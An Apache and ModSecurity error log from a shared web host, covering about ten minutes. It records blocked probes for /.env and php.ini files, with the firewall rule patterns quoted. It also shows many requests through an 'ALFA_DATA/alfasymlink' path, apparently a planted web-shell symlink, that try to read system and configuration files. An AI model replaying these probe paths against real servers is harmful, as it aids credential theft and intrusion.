[Sat Oct 24 14:05:06.248911 2026] [security2:error] [pid 2678927:tid 2678927] [client 54.83.56.1:10084] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/"] [unique_id "atzzUouO7ED0bihu6UrVygAAAAc"]
[Sat Oct 24 14:05:06.248980 2026] [security2:error] [pid 2678927:tid 2678927] [client 54.83.56.1:10084] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory4/"] [unique_id "atzzUouO7ED0bihu6UrVygAAAAc"]
[Sat Oct 24 14:05:16.405601 2026] [security2:error] [pid 2677785:tid 2677785] [client 43.134.94.96:41540] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "atzzXDscjnm-Rk8uGagqGQAAAAA"]
[Sat Oct 24 14:05:16.406669 2026] [authz_core:error] [pid 2677785:tid 2677785] [client 43.134.94.96:41540] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 14:05:30.232904 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 34.193.2.57:35779] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:05:38.209226 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.229.2.217:59182] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:05:50.181003 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 100.29.155.89:63404] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:05:52.999532 2026] [core:error] [pid 2677842:tid 2677842] (13)Permission denied: [client 85.208.96.210:50900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bdev_cache/sanity_checks
[Sat Oct 24 14:05:54.765499 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 185.191.171.3:32234] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/objs_per_slab
[Sat Oct 24 14:06:10.230298 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 52.2.83.227:3325] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:06:14.412432 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.21.62.139:60567] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:06:42.409274 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 44.212.131.50:62656] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:06:50.264530 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 44.193.115.232:43787] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:06:54.220603 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 35.171.117.160:30994] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:06:58.171030 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 3.229.2.217:32849] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:07:06.248376 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 54.166.126.132:54028] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:07:14.178366 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 54.90.8.255:19548] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:07:18.241875 2026] [ssl:error] [pid 2677775:tid 2677775] (5)Input/output error: [client 44.205.192.249:31340] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:07:22.168602 2026] [ssl:error] [pid 2677773:tid 2677773] (70014)End of file found: [client 52.73.6.26:25403] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:07:34.239931 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 44.221.227.90:42051] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:07:37.866877 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 185.191.171.9:47206] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_mm_slot/destroy_by_rcu
[Sat Oct 24 14:07:46.233580 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 100.29.155.89:51579] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:07:56.139069 2026] [core:error] [pid 2677773:tid 2677773] (13)Permission denied: [client 185.191.171.15:14002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/ctor
[Sat Oct 24 14:07:58.242949 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 52.0.218.219:39011] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:08:02.409827 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.210.152.179:16488] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:08:06.261124 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.195.248.30:13406] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:08:10.279034 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 52.2.191.202:15380] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:08:18.266569 2026] [ssl:error] [pid 2677773:tid 2677773] (70014)End of file found: [client 35.153.86.200:52090] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:08:27.135635 2026] [security2:error] [pid 2677788:tid 2677788] [client 130.12.180.167:41346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz0G2HlETSj29Thy_T6_AAAAAM"]
[Sat Oct 24 14:08:27.135884 2026] [security2:error] [pid 2677788:tid 2677788] [client 130.12.180.167:41346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz0G2HlETSj29Thy_T6_AAAAAM"]
[Sat Oct 24 14:08:27.136184 2026] [security2:error] [pid 2677788:tid 2677788] [client 130.12.180.167:41346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz0G2HlETSj29Thy_T6_AAAAAM"]
[Sat Oct 24 14:08:30.446614 2026] [ssl:error] [pid 2677786:tid 2677786] (5)Input/output error: [client 98.84.131.195:47893] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:08:46.291066 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.196.118.6:4574] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:08:50.290537 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 23.21.148.226:65331] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:09:10.446171 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.214.238.178:31947] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:09:26.224658 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.202.88.37:38943] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:09:28.827420 2026] [authz_core:error] [pid 2677793:tid 2677793] [client 45.198.224.125:33386] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 14:09:34.240049 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 44.223.116.149:49375] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:09:42.214977 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.212.219.113:1638] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:09:46.185305 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.210.155.69:23663] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:09:50.398066 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 185.191.171.9:56182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PINGv6/hwcache_align
[Sat Oct 24 14:09:52.897932 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 85.208.96.202:54372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dquot/shrink
[Sat Oct 24 14:10:02.623838 2026] [core:error] [pid 2677773:tid 2677773] (13)Permission denied: [client 85.208.96.208:13480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-max/order
[Sat Oct 24 14:10:06.291531 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 3.94.156.104:21737] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:10:10.353869 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.225.199.17:42324] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:10:14.378502 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 54.235.191.179:45684] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:10:22.233782 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 34.226.89.140:28094] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:10:26.249035 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 44.207.207.36:50813] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/remove_id
[Sat Oct 24 14:10:30.464550 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 3.212.205.90:35631] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:10:34.219661 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.84.60.17:58187] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:10:42.833212 2026] [authz_core:error] [pid 2677785:tid 2677785] [client 198.235.24.12:64742] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 14:10:50.223925 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 44.221.227.90:35407] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:10:54.220964 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 18.210.58.238:59688] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:11:08.986486 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 85.208.96.198:44116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/reclaim_account
[Sat Oct 24 14:11:10.361288 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 44.213.36.21:60933] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:11:14.286200 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 54.85.7.119:9792] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:11:22.263161 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 18.204.89.56:14518] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:11:30.215753 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 44.217.177.142:17525] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:11:34.332116 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 52.45.15.233:7585] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:11:58.195344 2026] [ssl:error] [pid 2677793:tid 2677793] (22)Invalid argument: [client 52.70.138.176:31807] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:11:59.782490 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 185.191.171.18:12882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_table_s/cpu_partial
[Sat Oct 24 14:12:05.271053 2026] [core:error] [pid 2677842:tid 2677842] (13)Permission denied: [client 16.216.88.78:16384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/named/server.digitalmailmx.com.db
[Sat Oct 24 14:12:06.209102 2026] [ssl:error] [pid 2677773:tid 2677773] (70014)End of file found: [client 34.231.156.59:64346] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:12:12.830405 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 85.208.96.196:48854] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:12:41.638825 2026] [security2:error] [pid 2677776:tid 2677776] [client 85.208.96.206:56194] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/pre_main_1.conf"] [unique_id "atz1GWZJIyiQiKFtr2-5LAAAABU"]
[Sat Oct 24 14:12:41.639211 2026] [security2:error] [pid 2677776:tid 2677776] [client 85.208.96.206:56194] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/pre_main_1.conf"] [unique_id "atz1GWZJIyiQiKFtr2-5LAAAABU"]
[Sat Oct 24 14:12:41.639595 2026] [security2:error] [pid 2677776:tid 2677776] [client 85.208.96.206:56194] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/pre_main_1.conf"] [unique_id "atz1GWZJIyiQiKFtr2-5LAAAABU"]
[Sat Oct 24 14:12:46.379231 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 23.23.214.190:27058] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:12:54.338632 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 44.214.19.8:30289] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:12:55.640426 2026] [core:error] [pid 2677842:tid 2677842] (13)Permission denied: [client 185.191.171.12:56378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pde_opener/free_calls
[Sat Oct 24 14:12:56.894487 2026] [core:error] [pid 2677773:tid 2677773] (13)Permission denied: [client 85.208.96.201:20356] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/objects
[Sat Oct 24 14:12:56.894991 2026] [security2:error] [pid 2677773:tid 2677773] [client 85.208.96.201:20356] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/objects"] [unique_id "atz1KJEknkbZNLYoFZ9cZgAAAAY"]
[Sat Oct 24 14:12:56.895027 2026] [security2:error] [pid 2677773:tid 2677773] [client 85.208.96.201:20356] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/objects"] [unique_id "atz1KJEknkbZNLYoFZ9cZgAAAAY"]
[Sat Oct 24 14:12:58.217387 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 52.4.76.156:17473] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:13:02.210294 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.230.69.161:45706] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:13:06.228554 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 34.238.45.183:52681] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:13:09.123390 2026] [security2:error] [pid 2677785:tid 2677785] [client 85.208.96.198:17984] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python2.7/encodings/palmos.py"] [unique_id "atz1NTscjnm-Rk8uGagqKwAAAAA"]
[Sat Oct 24 14:13:09.123438 2026] [security2:error] [pid 2677785:tid 2677785] [client 85.208.96.198:17984] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python2.7/encodings/palmos.py"] [unique_id "atz1NTscjnm-Rk8uGagqKwAAAAA"]
[Sat Oct 24 14:13:15.735757 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 54.90.244.132:61634] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:13:16.017686 2026] [security2:error] [pid 2677843:tid 2677843] [client 43.153.19.83:43410] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "atz1PIrDEr-C1RJ7dLmASAAAAAg"], referer: http://sherwinpinturas.com
[Sat Oct 24 14:13:16.029053 2026] [authz_core:error] [pid 2677843:tid 2677843] [client 43.153.19.83:43410] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sat Oct 24 14:13:26.301609 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.197.76.210:63792] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:13:34.149282 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 100.29.164.178:32289] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:13:46.154075 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 34.192.67.98:56136] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:14:02.246357 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.71.216.196:45374] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:14:06.306338 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 44.221.105.234:49727] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory3/node0/cpu0/firmware_node/subsystem/drivers/battery/bind
[Sat Oct 24 14:14:10.313382 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 3.227.180.70:31869] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:14:14.217918 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 3.213.106.226:33938] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:14:18.207311 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 85.208.96.211:25920] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/cpu_partial
[Sat Oct 24 14:14:22.232408 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 98.82.59.253:43993] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:14:30.296576 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 34.205.163.103:53620] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:14:38.228459 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.71.216.196:63089] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:14:54.611876 2026] [security2:error] [pid 2677776:tid 2677776] [client 43.157.156.190:48018] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "atz1nmZJIyiQiKFtr2-5MQAAABU"]
[Sat Oct 24 14:14:54.612941 2026] [authz_core:error] [pid 2677776:tid 2677776] [client 43.157.156.190:48018] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 14:15:10.335862 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 52.70.138.176:7422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/module/uevent
[Sat Oct 24 14:15:12.770568 2026] [core:error] [pid 2677842:tid 2677842] (13)Permission denied: [client 185.191.171.16:11200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/remote_node_defrag_ratio
[Sat Oct 24 14:15:22.272607 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 18.214.238.178:63006] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:15:54.162071 2026] [security2:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz12jscjnm-Rk8uGagqMgAAAAA"]
[Sat Oct 24 14:15:54.162330 2026] [security2:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz12jscjnm-Rk8uGagqMgAAAAA"]
[Sat Oct 24 14:15:54.162683 2026] [security2:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz12jscjnm-Rk8uGagqMgAAAAA"]
[Sat Oct 24 14:15:54.204103 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 44.205.74.196:3512] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:15:54.699331 2026] [security2:error] [pid 2677785:tid 2677785] [client 200.203.6.60:53769] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atz12jscjnm-Rk8uGagqMwAAAAA"]
